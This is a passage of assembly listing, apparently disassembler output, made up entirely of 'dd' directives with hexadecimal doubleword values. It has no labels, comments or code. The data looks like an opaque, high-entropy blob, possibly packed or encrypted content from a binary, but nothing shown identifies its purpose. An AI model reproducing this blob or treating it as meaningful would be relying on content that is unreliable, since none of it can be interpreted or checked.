		dd 548205CDh, 0DECDCAE3h, 0A30BCE82h, 0DDFEE60Bh, 928ED6h
		dd 0C65EB8BDh, 0FF6A9E64h, 2DC28B6h, 8D8548CDh,	415E8E6Bh
		dd 0AC35B47h, 4A3CC089h, 5F3E273Ah, 0A26F747Ch,	927798Dh
		dd 0BB9D382h, 0F44ADCh,	0DB7313BEh, 0BD74A33h, 2985BD12h
		dd 88839E2h, 2C1201A7h,	57C2B06Fh, 453F104h, 22B926B3h
		dd 0E380F122h, 0C4951B11h, 801499EDh, 0CF1E58DAh, 0E54BF720h
		dd 0B661C88h, 0FCC254BBh, 6A755E11h, 9D89C4D0h,	89224B99h
		dd 80082819h, 4CFCD986h, 0D57E00E5h, 2BB87382h,	955089C8h
		dd 0D1248B42h, 51CB2E60h, 0D62000F6h, 2B7811B8h, 0F6456200h
		dd 0E7F49D46h, 4186BE61h, 550C8E0Fh, 1973A306h,	85670739h
		dd 0FC7DA42Eh, 6290D97h, 0CF398C2h, 0DAEA014Ah,	0A1EEC590h
		dd 0E196889Eh, 0EA5B181Ch, 0E69523B9h, 800B441Ch, 22B9EF58h
		dd 9DA4B83Eh, 1DAC7471h, 5E093509h, 4726C416h, 0A5B5D98Ah
		dd 0B3FE1702h, 0B6948DE7h
		dd 5201E276h, 0D67CFC69h, 4FC0EC3Ch, 0CC648425h, 0A3A2624h
		dd 2864377Bh, 3083CCA1h, 0F0030BD3h, 123165C8h,	0B36AFDD0h
		dd 0D3D6003Ah, 86183391h, 5F6F00E6h, 706EF0E7h,	2E26A93Dh
		dd 0DF06AF37h, 959AFD7Dh, 8C702FB2h, 0B999D305h, 0CD4507E4h
		dd 72AB0E86h, 0EE7D4915h, 79BA814Ah, 1573F5A5h,	249A2D8h
		dd 192165F8h, 0EC7D0F82h, 8078B106h, 0AAD83D59h, 1200A469h
		dd 5CD7E557h, 14334BECh, 0FCFCDBBAh, 0BD015512h, 0B5CB9E2Bh
		dd 0BA61A77Dh, 1BF9170Eh, 0CD1D97E8h, 0CF4B368Eh, 9DBD02FFh
		dd 253C5475h, 0F9975F67h, 0A6949E9Bh, 0D4038FB1h, 0C4960A31h
		dd 5611A58Bh, 8D09C1EEh, 62173EF9h, 25AA53ACh, 0EC2BC632h
		dd 0E576C4FEh, 0BD33B82Eh, 76E14921h, 92AA9B2Ah, 0FC7B0C00h
		dd 26B2D496h, 9E12EE9h,	0F35C19F1h, 81114471h, 0FC6A8BDBh
		dd 8C42A51h, 0BF867AEBh, 1464A0EDh, 0EB802760h,	75A80E4Ah
		dd 0F8E15E71h, 7111258Eh, 4AFC2F9h, 4BF4DC76h, 8864C1A6h
		dd 1B282E4Bh, 95B88B9Ch, 65BF31B9h, 5386880Ah, 3FDB6096h
		dd 8BCA680h, 1F265463h,	915DE5Ah, 42C04AC8h, 9FE180F8h
		dd 5AE01A4Dh, 9737C2E0h, 57340D24h, 120F22F2h, 0B7E04821h
		dd 0B6954DDFh, 0EB9CEF28h, 0FE276AB5h, 40B0C9C6h, 1E7CB213h
		dd 0E46E1C0Fh, 2E1D0070h, 1237BBA3h, 0E5A57660h, 8C7A3E13h
		dd 6A0AB400h, 50B6B3CBh, 0E540349Ch, 4A71325Ah,	0EF311CEFh
		dd 3520F4D4h, 2F5B3358h, 0CA3AF91Bh, 0B0F81CB6h, 0AB2BBF73h
		dd 26C08951h, 0F19E00D3h, 5C4EB8CDh, 69532675h,	5A0F4732h
		dd 23E149A1h, 20E47D61h, 6E7AE3DAh, 9E56002Ch, 2F527473h
		dd 0BA25FB2h, 0E2EE19E8h, 66D8B325h, 0C85277F7h, 5F03071Eh
		dd 840276E9h, 0D265DBEFh, 562535EDh, 0D2675F0h,	99057F8h
		dd 247B885Bh, 1520FD0Eh, 7989209Ah, 25D680BBh, 0F5542D0Ch
		dd 25CB48CCh, 34C674FFh, 9A952892h, 72DE5310h, 8980E3D8h
		dd 309F0B15h, 2B359C7h,	6E8B7196h, 46DF94D9h, 786D95D4h
		dd 0A0613D68h, 0DE82B33Ch, 8933AEDBh, 0A07878DBh, 941A1854h
		dd 48D34E6Fh, 4CB99C4Ah, 8C1CACh, 8AB59AFEh, 0AF95FCD0h
		dd 1972C74h, 59E38043h,	0F845482Bh, 89BB0C30h, 123637CFh
		dd 518EB612h, 2B6D21E1h, 43DB1424h, 656761C0h, 0F0006836h
		dd 0BFD6DD99h, 124D800Ah, 888B0F62h, 2D8C866Ah,	0B85B227Dh
		dd 9E181B79h, 6ADED602h, 0DFD89347h, 1AB178E0h,	17306880h
		dd 0F81C9C78h, 365C0CFh, 12216B7Eh, 0F061A567h,	7B13CFEDh
		dd 0C4B61C83h, 293C9AE0h, 11AD8512h, 0EDD231E2h, 1740A854h
		dd 0AB113DE8h, 8B607122h, 76A8DA9Dh, 195F89h, 509061F2h
		dd 8F1D9DBFh, 56E72351h, 0E8D98F79h, 0B1F606D2h, 0B09F2D14h
		dd 0F5C8D014h, 0ED29742Eh, 580A879h, 0E9CC0A0h,	7A78F181h
		dd 48A9EF20h, 0A85B0041h, 0D9DC8896h, 270171FAh, 329C64ECh
		dd 0F6EA8DD3h, 135D085Ah, 0C7B35B17h, 0FEB8DD0Eh, 0F74B9001h
		dd 952A88A6h, 0E45BA505h, 0FF181BD9h, 88AE3300h, 0A0E556C4h
		dd 0D78D4A29h, 905949D4h, 9AB73A45h, 0B6093303h, 0AED4B02Bh
		dd 0BF9BF617h, 0E44856C1h, 7B303ADAh, 41099D03h, 0DFA62A2Dh
		dd 1E1523BEh, 16D8EF7Ah, 0A78302A6h, 8D0FC7B0h,	9A2DD0Bh
		dd 895C5495h, 7371615Fh, 55499C47h, 8F7DF29Ch, 38F4FB9Eh
		dd 0BB8B66FCh, 0FA7C7733h, 0F5492110h, 316C5F71h, 0C79D0174h
		dd 0DF1102ADh, 765CE2D8h, 0E08B5EBh, 0DB40B003h, 24D8D89h
		dd 0C0124AD3h, 5204EDA3h, 0AE5FA7B7h, 6ABAFB74h, 9156098Ah
		dd 5D1B5558h, 2D35FA10h, 89579614h, 5B09713Ah, 8D766050h
		dd 0CC81B25Bh, 26DA13Fh, 61EBB510h, 0EAE6964Fh,	0E5F59FE0h
		dd 6C334D20h, 879297E1h, 5C79756h, 1CED9D0Bh, 43675AEh
		dd 0B9137D27h, 7EAFD08Eh, 262B2845h, 6ABDFE91h,	697856F2h
		dd 90618D7h, 9C08FC85h,	0A5A4EC39h, 2DB185D2h, 0C9C07B1Ah
		dd 75201DC5h, 3C0958B8h, 70198376h, 8D539534h, 2B181959h
		dd 5973F905h, 0FC047FF5h, 2DAE11B9h, 0D25E1A56h, 8D4BE0A2h
		dd 0A7C76F51h, 8D9655D9h, 1285897Ah, 8BD2FC2Bh,	0CA594250h
		dd 0EA4CF768h, 853079BDh, 98C5BAFDh, 9B77CA58h,	0D72B9528h
		dd 4D618627h, 60186470h, 77E4EB75h, 699EA15Fh, 0B125C816h
		dd 951DCE09h, 2B441794h, 72C72C80h, 0DBF61EEFh,	0E04D786Eh
		dd 3F63BC2Ah, 99CBD75Dh, 6526600Fh, 0F0BF97C0h,	977FCDCAh
		dd 1FC1432h, 6FB93016h,	8C1DBCh, 0C4E4F2B9h, 0B66D5272h
		dd 0E4F5372Dh, 0B7F39D8Dh, 0B5920D07h, 2591802Eh, 0BFD2F797h
		dd 2C808A93h, 0CC3D74F5h, 7521808Fh, 32577986h,	5B43264Ch
		dd 0DBBF0C41h, 0B52A890Ah, 2EFBC55Dh, 9FF1834h,	0F459558Dh
		dd 0D2273D44h, 0C3142109h, 0C649DD3Ah, 0B36FAF84h, 4A072A00h
		dd 5CCD6D93h, 0BC68A20Eh, 7A9C79BBh, 3DD22D2Bh,	160B8D2h
		dd 3BE6CABAh, 388467Bh,	0ED5B5BCDh, 52BB8045h, 95B9E9B4h
		dd 0BECDFB8Bh, 0A897E8C3h, 4BFFD95Bh, 3A1D8923h, 28090A6Eh
		dd 37737839h, 0D4ADAEh,	0ACE36A92h, 52199199h, 0B70F4213h
		dd 0E89D24AAh, 0CACC80C6h, 0B7B2BA78h, 0CBEB9EE1h, 7CF8744Eh
		dd 98202021h, 0FAFD5B2Dh, 8FC016DEh, 0F008E614h, 9C3D35h
		dd 6078E8D5h, 11BDB52Bh, 0C41FC6BFh, 0B8024180h, 70F0973Dh
		dd 502F2AFAh, 6B070360h, 863D27F8h, 6C6EDD4Fh, 0B5A9B203h
		dd 6EC27967h, 151BFF8h,	1F113B7Fh, 2BF14184h, 15853260h
		dd 0DD238528h, 8AD00979h, 6F1B0A4h, 0FF87CC6Ch,	0DA4B80D1h
		dd 0A435208Ah, 0F36EBE3Dh, 3E67140Dh, 52AE1ECh,	0EF570101h
		dd 0F592026Ah, 1797B390h, 0BBFDFE8Ah, 0F4D977Dh, 0D6AC4AC0h
		dd 12257DECh, 0E889D248h, 214B80F6h, 0A89047h, 4201F8F5h
		dd 3F200780h, 8AD13A04h, 9AEA5BFAh, 0C01AC801h,	291C00Bh
		dd 65A70917h, 12297F04h, 0AE1AE905h, 43CA2338h,	3114E28Fh
		dd 8FCC7BD2h, 145209BFh, 42562EE6h, 50E1DBEBh, 701C7A37h
		dd 145FCE9h, 9AF2509Eh,	616B3E00h, 2FDF8948h, 0F6C29900h
		dd 0CCDD5F65h, 98224986h, 0C4E2E94Fh, 4BB89298h, 80B89F5Eh
		dd 0F765DE6Bh, 0A5090510h, 0C7666041h, 61F831B0h, 4E172EF5h
		dd 0E7F882E9h, 7510D30Bh, 253B5EAFh, 0BF035066h, 421FD6F2h
		dd 19CCE46Ah, 0C2449F12h, 7A9FF398h, 0AB66B522h, 1759BB1Fh
		dd 0BF045ED7h, 0ECAC01E1h, 0B09C58A7h, 1866425h, 0C2226798h
		dd 0D8911F71h, 3A0E7055h, 0A2E6F28Ch, 0C8998529h, 9771E4C8h
		dd 0AC76490Fh, 84E9C8EEh, 0AC20CB80h, 9D890BFEh, 0E9EB56D1h
		dd 1074F41h, 3C6197B3h,	0B1413692h, 3DD42FAh, 0DB129028h
		dd 0C07FFDB1h, 72EF81ADh, 0D18B401Fh, 93E38DD2h, 0AE2EDD12h
		dd 0BD319F61h, 0E888F45h, 4C094189h, 3C0092DEh,	73E2D805h
		dd 7E8EC618h, 745FE79h,	952936D1h, 4134CDB5h, 2DDDBD6Ah
		dd 7C0130Fh, 0AA1A3D1Dh, 8996560Eh, 0E15A7818h,	0C4601D44h
		dd 0AA22FD4Ah, 1BD35260h, 6CBE1E85h, 3747D761h,	56208469h
		dd 0BB6813AAh, 4DB68960h, 0C0010486h, 0AC2105F7h, 9A2588FAh
		dd 0A8F23809h, 0FE22A550h, 949C0A0h, 8AA11E94h,	144A720h
		dd 0F9B095F9h, 258313DDh, 40EA553Ch, 80F5377Fh,	4054B678h
		dd 9C160A7Eh, 5056B538h, 458271BBh, 55B90208h, 37935858h
		dd 28D2178h, 3E7019CFh,	0FD56F5C2h, 0A1585E23h,	0BBCD0172h
		dd 7F3250C9h, 80F37CB5h, 5C765952h, 446A005Dh, 3F8EF4FEh
		dd 0DB95FC5Fh, 0A9627091h
		dd 29BDC509h, 0A0A2F59Dh, 0FD5EC02Bh, 76E500DCh, 1128FE10h
		dd 0B5182988h, 0D2550655h, 0CC4A0BBFh, 175C3D8Ch, 0B7B5F5DAh
		dd 0B86D2F0Fh, 4A7FE29Eh, 80EADB02h, 0DDF8B38h,	0D5EFB788h
		dd 860F8561h, 0B58A3Bh,	100E9D70h, 0DFB426h, 1D82A720h
		dd 0FD166587h, 63DCAA13h, 17BB3E02h, 0D6515C93h, 0AF4A1A46h
		dd 0B9963742h, 61C4FD89h, 0E7815100h, 29D899BBh, 651B975Fh
		dd 0ECC6C7E8h, 0C5577C25h, 0BA16A63h, 8CD404FDh, 0AEC4A0C0h
		dd 6996041Bh, 0AE2536D8h, 10C1A004h, 1BE750B8h,	0F6755Eh
		dd 3D7B2818h, 562198B2h, 0B3DF3807h, 0D509B822h, 0C180353Dh
		dd 6B88DBCAh, 8B16167Bh, 8268B9FEh, 41B973BBh, 2CEA19Dh
		dd 68FCE1FFh, 50D3764Bh, 84004568h, 8795A41Ah, 4ECD9D33h
		dd 0A7CF970Eh, 9071090Dh, 45328C4h, 0BF2D5194h,	3013EFCEh
		dd 0A59BF704h, 0FEA512FEh, 9A88B013h, 0D4793DC5h, 0A0AC1C00h
		dd 372C1A7Ch, 1B1F9B01h, 3A779671h, 0B5A7282Eh,	28307DD3h
		dd 28BA73Fh, 29F67E94h,	685660C0h, 1BE01DCh, 0B3A878C8h
		dd 0AE152EA4h, 42FBDF9h, 1277116h, 1D31BD0Bh, 4A35A23Ah
		dd 7BE420C8h, 3E9AB7A6h, 0CA97C456h, 0FFF92332h, 54B569B9h
		dd 0D49FACEFh, 0C311085h, 71CFF15Bh, 19284537h,	84DA4A9Eh
		dd 7D8D31D2h, 0EC68CD90h, 56AC253Fh, 0BD9F4B38h, 13630095h
		dd 0BE56B33Ch, 2676E9E8h, 225E00D4h, 6AC66C53h,	645E46DFh
		dd 9127CF3h, 2FDDA9B5h,	5157FB89h, 71181Dh, 74942902h
		dd 8AB4330Dh, 58F8B92Dh, 317395ECh, 9727BFD0h, 0A34F5A12h
		dd 1EC87740h, 71C1127Fh, 83ABFC5Ch, 88612294h, 0ED040E6h
		dd 0EC3C2B12h, 0E1B84660h, 57121AA9h, 64AAB4DDh, 898DACE6h
		dd 0AD5773F8h, 29400AEDh, 2D2BD91Fh, 8910ADFDh,	0E2033225h
		dd 867EA415h, 5FAE807Ch, 27CEF2ACh, 0F75B89A6h,	4946AC78h
		dd 0AC9770FBh, 539576A0h, 0CDFB27D9h, 9D87950h,	0B5336051h
		dd 960B9812h, 61672157h, 887F505Fh, 1C4B0D22h, 6A5B1F8Bh
		dd 0E123F72h, 698ABF52h, 7CC2460h, 9B35EB12h, 0C32DE1A0h
		dd 6301BB8Dh, 46CA8E4Bh, 5059B702h, 0C6FE830Fh,	0B6615759h
		dd 254689B0h, 96F354A3h, 0A690D862h, 958DF958h,	3AF86073h
		dd 231B00E1h, 2FBBFB20h, 2B82905h, 0C5348D20h, 12DFBFA6h
		dd 2CD188ADh, 23AC8D00h, 0C519EAC3h, 0B306092Dh, 518B65D5h
		dd 8098377Fh, 969CE869h, 28514FB4h, 2A0BC5B3h, 6A4E65CBh
		dd 0D78E05D4h, 4D6B613Fh, 923EC000h, 0AA913888h, 819D2316h
		dd 0DF0021FAh, 0C251E531h, 91173FD7h, 6418119h,	14CDB45Fh
		dd 0ED7827Ah, 0EB2A9CD5h, 3A3227Bh, 28DA9A2Ch, 90820E9h
		dd 0B780F781h, 2DDD0971h, 1D4DC56h, 21F1AAB0h, 3F1CB4EDh
		dd 9918760Bh, 9B2B7FC3h, 0F5138085h, 308D0360h,	81511589h
		dd 8C4BD7D0h, 2F142A8Bh, 0EF82BB04h, 0DB96D81Ah, 89251D69h
		dd 0D69EF6EDh, 0B2251446h, 18598C5Bh, 1C243A19h, 2829A081h
		dd 5A30CB6Ah, 6EA21EE6h, 0AD004C71h, 79B583CBh,	34E2F464h
		dd 81263BB4h, 21D113Bh,	0C8465C5Fh, 0FE4A01DEh,	3845BD89h
		dd 59962714h, 5B5283B3h, 0CB9F5750h, 0E071EBF3h, 0ED9E207Bh
		dd 0A401D4F0h, 0E2BBD0DFh, 0EA639F04h, 64B6C800h, 335E2F8Eh
		dd 4FDB5F1Fh, 9A28E1C0h, 0A59F43Fh, 5B4E20F0h, 1B46DCEBh
		dd 0AF07C500h, 0B278920Eh, 0BD2B050Bh, 606CE039h, 0D6B7000Fh
		dd 944318B9h, 5B9D615Bh, 0E16DA585h, 0FAAEB541h, 85190024h
		dd 0CB8D010Eh, 0D47330h, 65D11226h, 0A104DCF0h,	1121EDBCh
		dd 29C384B8h, 28A4F595h, 9561F660h, 1D59BE5Bh, 7D002018h
		dd 377BAA32h, 4EB011A0h, 1E0CAD41h, 4C6DF9BDh, 0BB440065h
		dd 628C4AE6h, 22007D90h, 15980630h, 25E36502h, 91C2C4D1h
		dd 2FE0DE4Dh, 49B0A27h,	0DB803DE0h, 0D5B5B998h,	35DAC06h
		dd 0ADBCE135h, 0DA0822C9h, 21BB59Dh, 37AA64BBh,	0BC569CC2h
		dd 70197B49h, 87208490h, 13C530E2h, 0B7BC6A61h,	59993474h
		dd 4BC12A6Ch, 29BC9C0Bh, 779BD10h, 0E30B8548h, 7FE14043h
		dd 2ED575D9h, 6EE0B8F6h, 42A43C5Eh, 41F7800Bh, 9EC798E8h
		dd 0B2B6196Eh, 6AD87083h, 0F8E5CBD9h, 3CA8282Eh, 0BA09DF8Ah
		dd 0F7893C02h, 95F34677h, 0CD87F754h, 1B424C47h, 9E9FD5CEh
		dd 0F8801891h, 9BF2C6C4h, 683DCD95h, 12F6E0DFh,	0F55C8EC1h
		dd 0CECD4A00h, 0DAB98542h, 0B2DE4AE5h, 3AAFA8B3h, 598916CDh
		dd 0E7D49E37h, 0C6E15F40h, 0E36E00B5h, 0F2896510h, 0CC12F514h
		dd 50151DEh, 5BF9F0F3h,	0C8BA55C6h, 0CF355Fh, 0AC6B7BCEh
		dd 4E26AE01h, 9D045F3Ah, 38AB09DDh, 248A51CAh, 2DAB1888h
		dd 636A2BCAh, 0CEF08700h, 39130CDBh, 995891Ah, 12FA5677h
		dd 804BFCF8h, 64C247B3h, 41840F1Ah, 0BA009BFFh,	0E78191C7h
		dd 696DFB04h, 0EAB85F1Eh, 18D09B0h, 30E9DDC4h, 0F84DBDB8h
		dd 0E63FE3BCh, 0F2D76E2h, 42C34489h, 0B1C86284h, 75C6FD12h
		dd 7335B5h, 0C6A41DE1h,	600B51D2h, 7674C180h, 5F61627Bh
		dd 9A955850h, 10979DCh,	0D3AB09FEh, 0C6A7C414h,	2EA2505Eh
		dd 9E697403h, 4227787Ch, 0B51DFADEh, 0AE840690h, 51ACDB00h
		dd 0A0298CDh, 0AD270BE8h, 3D577CD2h, 0C4F1005Eh, 0F47D629h
		dd 439E4F97h, 0C0AAF637h, 0A012E658h, 0C77A149Fh, 88EEBA00h
		dd 173E3F84h, 0AD2096B8h, 0D381021Fh, 65F715CBh, 6B26055Eh
		dd 1C21FCDEh, 494E3A7Ah, 13C69D29h, 0FD202AEDh,	4E78A6B0h
		dd 0EA075271h, 7B856Fh,	7B5B2AFBh, 0F533A3A6h, 99A948D6h
		dd 0C8608AD6h, 0D750C018h, 0B44CFC61h, 0B091215h, 0F4C3DF7h
		dd 70F78100h, 0FF4E32F2h, 8D31D112h, 305E8E9h, 0AA1CAD9Dh
		dd 5A300C8Eh, 2F6BF6Fh,	6A7403F0h, 914B90BFh, 1C0B7CFDh
		dd 89161B2Eh, 0D06101FEh, 4677E609h, 5467001Ah,	4E331F03h
		dd 591E40A5h, 3F9E43F4h, 25B0F915h, 64E8CDF8h, 0FE8F6115h
		dd 25D5A160h, 3071BEE9h, 19FAAC2h, 0D6359D33h, 24D7B60Ch
		dd 3C32C720h, 0E793369Dh, 0FC699D5Ch, 15512DF0h, 0D6AD5054h
		dd 0F3040A1h, 80C98F58h, 45C38160h, 9802FE26h, 0B561FC2Fh
		dd 0EEE90AE7h, 3A9C2D63h, 23172B64h, 24EEF158h,	2E76CD96h
		dd 690057E3h, 0AEAD4BB6h, 2B1E79E2h, 0B44BBF66h, 0E23B565Bh
		dd 974800Fh, 0E5B9DE44h, 0B0C5E74Eh, 14B06BDFh,	9626801Bh
		dd 252FD110h, 0AD3A73F8h, 0EC425DCDh, 6A8A40FCh, 0DC509CFFh
		dd 3838555Ch, 0EDDC49CDh, 461F26Eh, 12F99D89h, 97D8C2F4h
		dd 39BE2DB3h, 0B0C9B312h, 569730AEh, 3100C262h,	4EBED7B7h
		dd 4321B8Ah, 5B7E73C8h,	0FE58816Fh, 0E647605Fh,	0E4F97000h
		dd 3B9DBB71h, 0B83C4F4Bh, 17F2D686h, 0E7481F00h, 0C8D7B183h
		dd 0A5327395h, 85C79877h, 2E0B4155h, 47E34D12h,	0AACEC135h
		dd 716C525Ah, 0F0FE92E8h, 8D30293Fh, 0C82BED19h, 1154D809h
		dd 0E955D18Bh, 6CB22F37h, 49107258h, 0DEA04C2Dh, 0C1B5A58Fh
		dd 0C1953102h, 905F1964h, 553D69F3h, 59B53070h,	12B74Eh
		dd 92F7CB81h, 0E96F7425h, 0EC151233h, 2015101Eh, 2D36E911h
		dd 2D707429h, 0E0ECBCFEh, 1E9197F9h, 9D23101Eh,	71054285h
		dd 0A5780B45h, 6B405158h, 0A0EB2580h, 862017ECh, 5D66BF1Dh
		dd 0A97B897Dh, 0F061DB95h, 0D7258047h, 0E2075C1Eh, 0B224010Dh
		dd 29578A49h, 71975B06h, 0AE98D39Ah, 92902D98h,	8381852Ah
		dd 8C0FFC16h, 63FFBD30h, 2B681377h, 1D59C8C0h, 0EDFA200h
		dd 9563D742h, 0EA20006Ch
		dd 51A88CF8h, 0EB138191h, 6AFF9BB0h, 0F4985EF0h, 2B5F0003h
		dd 1F5D1B0Bh, 0F1C92EDh, 53252A8Bh, 45F0041h, 9F0D283Ah
		dd 1BE6AA05h, 584080AEh, 0A181270Ch, 979100EFh,	0CF306183h
		dd 0F40729A2h, 0FEEC4113h, 5E5B8D22h, 3DFEDA10h, 20809D4h
		dd 2D04F21Ah, 4FF1B8D8h, 23A1ABE7h, 348F6050h, 3D27B575h
		dd 0E40E565Fh, 5CD967F8h, 0BBA05C08h, 0A6C93E55h, 0DC547CDFh
		dd 0DFC05912h, 10A52509h, 4B65BD5Dh, 22BC8E22h,	2549938Eh
		dd 5B95BFF0h, 18155108h, 0C2745A57h, 0CE2E059Bh, 2FB9F255h
		dd 8762BFCFh, 0C59501Dh, 0CD2A3D00h, 929CB63h, 0E1FF5383h
		dd 43C0354Dh, 9C2C98Dh,	0F0B42146h, 0A50001F9h,	2CD23DDBh
		dd 1CDD00AFh, 18D99A4Ah, 301ECB3Ch, 0FA04BF89h,	0C6B866ECh
		dd 0C20452A1h, 0E3D8EDDFh, 17805B99h, 0F012C91Bh, 20FB2430h
		dd 0B2E80FB3h, 48859500h, 0A0AA89CDh, 7AF402CAh, 2A52719Fh
		dd 2651FA5Ch, 1B7C8EA7h, 0D11404DEh, 0EE3AB217h, 0C12B6DCDh
		dd 2EA00D80h, 0E9B8ED28h, 8048DE3Ah, 0F380CD64h, 0DB604ED6h
		dd 947C808Fh, 999E579h,	7EEF0838h, 403D6F57h, 21DA2582h
		dd 0A6F0BB04h, 0FEB8269Ah, 96B8675Dh, 0C82531B4h, 0BF01370Fh
		dd 4545CECFh, 0EB84D7FDh, 0D5C1AC3Bh, 0CDB74AD5h, 80849A4Ah
		dd 10BAE66Bh, 0DA3F4832h, 21415D3Bh, 5647295Ch,	0EF80F5C0h
		dd 1ADAA05Ah, 46DC86DEh, 890030D9h, 71C3C0CDh, 0CBB20E8Eh
		dd 0B8522E9Eh, 0FEBBB0F2h, 1B73193Eh, 20BF698Bh, 3779C121h
		dd 0FCF05890h, 82BD7648h, 55585B52h, 359765C6h,	8516918Ah
		dd 90098CFDh, 35BF7785h, 0D1C8A000h, 197E1DE3h,	543515DDh
		dd 0E99D8951h, 411A2AB3h, 0C4574BDEh, 468DAC2Eh, 48B5E076h
		dd 5F8B979Dh, 0FCD8A45Bh, 0DDF64169h, 63B63A23h, 553014F2h
		dd 9AF4B829h, 0FB6D9526h, 33631564h, 290689F0h,	0DA319D38h
		dd 0C25E96F7h, 3AF8462Bh, 1025520h, 0DB05BF96h,	0DE500A79h
		dd 11D0E15Dh, 684D702Fh, 0EDF6937Eh, 994963B5h,	74F60E70h
		dd 9500DCCCh, 0CDB5EF45h, 1209ED34h, 0BF9D33B8h, 9AEAE1C4h
		dd 0C017C81Dh, 2EFC7306h, 489A1195h, 82B2E27Bh,	252DBD2Bh
		dd 0FE78C45Bh, 14B93B94h, 0B902ADECh, 166131C4h, 8257D911h
		dd 2E99BD03h, 295BBF00h, 0E94649A0h, 1FB297h, 15A370D4h
		dd 0E76F71Bh, 7D653C72h, 0BCE09441h, 0BD683022h, 5FE33954h
		dd 95316104h, 9BEA05DDh, 113512E6h, 3188D2E3h, 4D285198h
		dd 0E95B8009h, 0DE1B3F69h, 0DD0EDC8Bh, 6154E783h, 0F9096CCCh
		dd 0E1F03A2Eh, 0E63A70B7h, 8539E1DDh, 24B77FFCh, 4293BC5h
		dd 0B8149EBBh, 401A1C3h, 0A0C4F73Ah, 73566057h,	93281629h
		dd 0FD76814Bh, 13EF4BEAh, 0F8A903CCh, 0C0167E80h, 80BC5F2h
		dd 0E6B5E292h, 754D90B8h, 0D80981CDh, 539D2A3Dh, 8135EBF4h
		dd 2FF96F80h, 132618D3h, 0AC95BE8Ch, 6C809F7Ch,	0B2D18922h
		dd 0A1F20024h, 5CBCBA7Ah, 4F3CA703h, 10554885h,	0B64A1E5Dh
		dd 3018E20Fh, 5116B75Bh, 65177B26h, 4A7D3CEDh, 2E557h
		dd 5A9591E6h, 0CDF5584Fh, 0EC5F0463h, 86A00DAh,	0C84C7151h
		dd 0AC8F56DDh, 0AD2D844Ah, 0AC9DD183h, 0E7640115h, 8F4A7B3Fh
		dd 1FB3C487h, 0CF75C9AAh, 13BD60FCh, 3900CD78h,	67A3BA6Bh
		dd 4AAD9D2Bh, 3E1DE72Ah, 0D593589h, 6A4C91EBh, 803D6CABh
		dd 0BC6117D6h, 2F973A2Dh, 92DB2483h, 86AC14E3h,	59E0277Fh
		dd 2175BB5h, 21C5B529h,	70383A57h, 0A6FA9FC0h, 0AD0BFD21h
		dd 78365E90h, 2A58960Fh, 0A210421Ah, 686E5C94h,	53F91BEDh
		dd 0DB59D98h, 795E5B95h, 9E51818h, 0B4A2F3Ah, 0FD04CF64h
		dd 9B1B399Dh, 0B41F6AEh, 63F7C5CBh, 0E770480Eh,	4BE9BD4Ah
		dd 66A0CC8Ah, 7C0453B2h, 0F2F978DFh, 0C4B73C95h, 1AACFA59h
		dd 0B5ED2807h, 5B126743h, 61F89886h, 290300DEh,	489A33ABh
		dd 640AB798h, 0D9E4ADB9h, 132D910Bh, 40BBBFB5h,	958A50DEh
		dd 0B86077C8h, 164DB65Ch, 4FAC8B46h, 0A2146189h, 9694DF4Bh
		dd 2ED7BEAh, 0C6D62EBFh, 51B55C56h, 0DB0C39h, 0A15E781h
		dd 0B79646B4h, 5E50E93Ah, 4681559Bh, 6CB23EE0h,	0C423CE58h
		dd 6FAE0A49h, 251C234Ch, 0A34F125Eh, 10BA590Eh,	0B27C16Ch
		dd 6271B589h, 0A215D5A4h, 569A9940h, 0BD7809E3h, 0AA02BAB3h
		dd 66001D0Dh, 0A418F8BFh, 5E619D69h, 76DC6A09h,	526809BBh
		dd 89711417h, 0DA203944h, 0D43B8060h, 61D31292h, 23DB6BAAh
		dd 0DECB0416h, 0C62A92C5h, 0B12D4AF2h, 0E92D5908h, 2870A553h
		dd 0D0963020h, 0F1B53168h, 0E8C1E3D6h, 172E9FE9h, 80809B95h
		dd 0B6094FCh, 9ACD48BDh, 5A7AAA93h, 0BBDC6202h,	0B1C0481Eh
		dd 5F820225h, 0AD13230Eh, 0CF998165h, 0B8C22528h, 9E7BE901h
		dd 17B700C5h, 2BE158D4h, 0C138F401h, 0E057D30Ch, 13AEEE0h
		dd 0ECA09BBh, 0D47EEC18h, 4800CF8Bh, 71E864A5h,	0C682BDh
		dd 0E763984Fh, 0B111F804h, 6BD8D100h, 32CC5855h, 50440F79h
		dd 0E40F9739h, 8D27AE6Fh, 0CB0F5B0Eh, 8C78AF00h, 3300D2F1h
		dd 0EA0439F2h, 7AD1514h, 496DCC7Ch, 20F400EDh, 9B00BA67h
		dd 3709CDAAh, 1A9236h, 7065DC9h, 8AC569F2h, 0A347CE07h
		dd 0C1219668h, 44936301h, 0B29F00E5h, 1F317213h, 0ABE69C00h
		dd 0A05E7BF7h, 0E4E836h, 0EB3893Dh, 6EFEF1CCh, 1647460Eh
		dd 6EA853Ah, 0E71CBF00h, 66D36C3Bh, 5E545615h, 94E8293Bh
		dd 24A3336Ah, 230E172Ch, 0CEC260A4h, 54D37552h,	39BC76h
		dd 7B32A9D7h, 23D24E42h, 77E79F61h, 8F49DEFBh, 198F66D5h
		dd 5D2118A7h, 9D3A8883h, 0A18CDA15h, 0C50F21h, 0A7708D69h
		dd 336B3666h, 71014630h, 0E7A3284h, 16DA453Ah, 1E4B1E7h
		dd 0E8441A14h, 42C0BFFDh, 73401D19h, 0C49600CDh, 611552F5h
		dd 9E004605h, 0A2B7BB67h, 0F442E5E4h, 25E0011h,	7E5B9037h
		dd 1F00069Dh, 0FF763269h, 0FD37848h, 68FEBA96h,	533F7E40h
		dd 55008C34h, 38D7ECA1h, 0C7D57F9h, 51F198C9h, 0B95EB5C3h
		dd 7D76D5E0h, 85C60FCDh, 0A0E082E3h, 0F7A7C45Dh, 0F029E000h
		dd 81205304h, 6A992864h, 520916BAh, 0E78F059Fh,	8151BC93h
		dd 0E062497Eh, 28046380h, 8C41584Ch, 0C9F5301h,	279B8E70h
		dd 63BF2180h, 171EB586h, 24367500h, 681DEF95h, 0DF430C2Fh
		dd 0CB32E603h, 32DE1500h, 0EEA2192Eh, 1E9D00AFh, 6C1A2F66h
		dd 7D00BA6Dh, 276F6A63h, 0C0C9F0h, 0A260C28Eh, 2B8C3FB5h
		dd 99608078h, 2A462274h, 851014Dh, 0D011D46Bh, 0B0D49E4Eh
		dd 1ACBF2h, 58532D3Fh, 0AAFEA60h, 8E4C05h, 15674707h, 106A1C31h
		dd 6CA34900h, 149FBCB8h, 3F33246Eh, 0F53C0757h,	7F3A9053h
		dd 0BA128FCCh, 0D036604h, 70E45E4Dh, 40240657h,	13B80554h
